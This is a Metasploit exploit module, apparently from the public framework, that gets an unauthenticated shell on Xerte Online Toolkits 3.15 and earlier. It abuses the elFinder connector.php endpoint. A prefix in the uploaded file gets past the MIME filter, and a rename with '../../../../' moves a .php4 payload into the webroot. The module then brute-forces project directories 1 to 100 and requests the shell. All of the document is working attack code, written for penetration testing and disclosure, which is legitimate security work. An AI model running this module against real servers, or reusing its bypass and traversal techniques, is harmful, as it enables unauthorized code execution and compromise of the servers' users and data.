# frozen_string_literal: true ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Media Upload', 'Description' => %q{ This module bypasses authentication failure, extension blacklist, and path traversal vulnerabilities in the /editor/elfinder/php/connector.php endpoint to upload and execute a shell in Xerte Online Toolkits versions 3.15 (commit 4e40f8030a2e3267267db7ce03e0ff57270be6f5 as there's no patch versions used) and earlier. }, 'Author' => [ 'bootstrapbool ', # Vulnerability Disclosure / Metasploit Module ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Privileged' => false, 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ] ], 'DefaultTarget' => 0, 'References' => [ ['CVE', '2026-34413'], ['CVE', '2026-34414'], ['CVE', '2026-34415'], ['CVE', '2026-41459'], [ 'URL', # Python Exploit 'https://github.com/bootstrapbool/xerteonlinetoolkits-rce' ], ], 'DisclosureDate' => '2026-04-22', 'Notes' => { 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('USERNAME', [ false, 'Valid username. If Guest authentication is enabled, a username should NOT be provided.' ]), OptString.new('WEBROOT', [false, 'The full filepath to the local webroot. Ex: /var/www/html/']), OptString.new('TARGETURI', [true, 'The Xerte base path.']), ] ) end def get_webroot uri = normalize_uri(target_uri.path, 'setup/') vprint_status("Attempting to retrieve webroot from #{uri}") res = send_request_cgi('uri' => uri) unless res && res.code == 200 fail_with(Failure::Unknown, 'Failed to connect to /setup. It was likely removed by an administrator after installation.') end res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence end def get_elfinder_id(name, volume_id = 'l1') encoded_name = Rex::Text.encode_base64(name) relative_id = encoded_name.gsub(/=+$/, '') "#{volume_id}_#{relative_id}" end def create_dir(connector_uri, params, dirname, root_dir_id) dir_id = get_elfinder_id(dirname) create_dir_params = params.merge( 'cmd' => 'mkdir', 'name' => dirname, 'target' => root_dir_id ) res = send_request_cgi({ 'uri' => connector_uri, 'vars_get' => create_dir_params }) unless res && res.code == 302 fail_with(Failure::UnexpectedReply, 'Failed to create directory') end return dir_id end def upload_file(connector_uri, params, filename, dir_id, payload) data = { 'cmd' => 'upload', 'target' => dir_id } mime = Rex::MIME::Message.new data.each_pair do |key, value| mime.add_part(value, nil, nil, "form-data; name=\"#{key}\"") end mime.add_part( '
' + payload, # The
tag bypasses the mime filter 'text/plain', nil, "form-data; name=\"upload[]\"; filename=\"#{filename}\"" ) res = send_request_cgi( 'method' => 'POST', 'uri' => connector_uri, 'vars_get' => params, 'vars_post' => data, 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) unless res && res.code == 302 fail_with(Failure::UnexpectedReply, 'Failed to upload file') end return get_elfinder_id(filename) end def rename_file(connector_uri, params, shellname, dirname, file_id) rename_file_params = params.merge( 'cmd' => 'rename', 'target' => file_id, 'name' => "#{dirname}/../../../../#{shellname}" ) res = send_request_cgi({ 'uri' => connector_uri, 'vars_get' => rename_file_params }) unless res && res.code == 302 fail_with(Failure::UnexpectedReply, 'Failed to rename file') end end def exploit success = false connector_uri = normalize_uri( target_uri.path, '/editor/elfinder/php/connector.php' ) if datastore['WEBROOT'].nil? webroot = get_webroot else webroot = datastore['WEBROOT'] end webroot = webroot[-1] == '/' ? webroot[0..-2] : webroot vprint_status("Application Root: #{webroot}") # The root dir id is always l1_Lw regardless of authentication scheme, user, or project root_dir_id = 'l1_Lw' dirname = Rex::Text.rand_text_alpha(8) filename = dirname + '.txt' shellname = dirname + '.php4' # The --Nottingham suffix is non configurable - it's used in all Xerte installations if datastore['USERNAME'].nil? # Assumes Anonymous authentication enabled (Default Xerte configuration) user_dir = '--Nottingham/' # Anonymous authentication uses {project_id}--Nottingham scheme for all user directories else user_dir = "-#{datastore['USERNAME']}-Nottingham/" end (1..100).each do |x| project_dir = "/USER-FILES/#{x}#{user_dir}" vprint_status("Attempting #{webroot}#{project_dir}") project_dir_uri = normalize_uri(target_uri.path, project_dir) base_params = { 'uploadDir' => "#{webroot}#{project_dir}", 'uploadURL' => full_uri(project_dir_uri).to_s } create_dir(connector_uri, base_params, dirname, root_dir_id) file_id = upload_file( connector_uri, base_params, filename, root_dir_id, payload.encoded ) rename_file(connector_uri, base_params, shellname, dirname, file_id) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, shellname) }) next if res && res.code == 404 success = true vprint_status("Successfully uploaded shell through #{project_dir}") register_dir_for_cleanup("#{base_params['uploadDir']}#{dirname}") register_file_for_cleanup("#{base_params['uploadDir']}#{filename}") register_file_for_cleanup("#{webroot}/#{shellname}") break end if !success fail_with(Failure::NotFound, 'Exploit failed. The target user likely has no projects.') end end def check uri = normalize_uri(target_uri.path, 'setup/') vprint_status("Attempting to retrieve webroot from #{uri}") res = send_request_cgi('uri' => uri) if res.nil? || res && res.code != 200 return Exploit::CheckCode::Unknown('Failed to connect to /setup. It was likely removed by an administrator after installation.') end webroot = res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence # /setup only outputs the app root in vulnerable versions of xerte if webroot.nil? return Exploit::CheckCode::Unknown else return Exploit::CheckCode::Appears end end end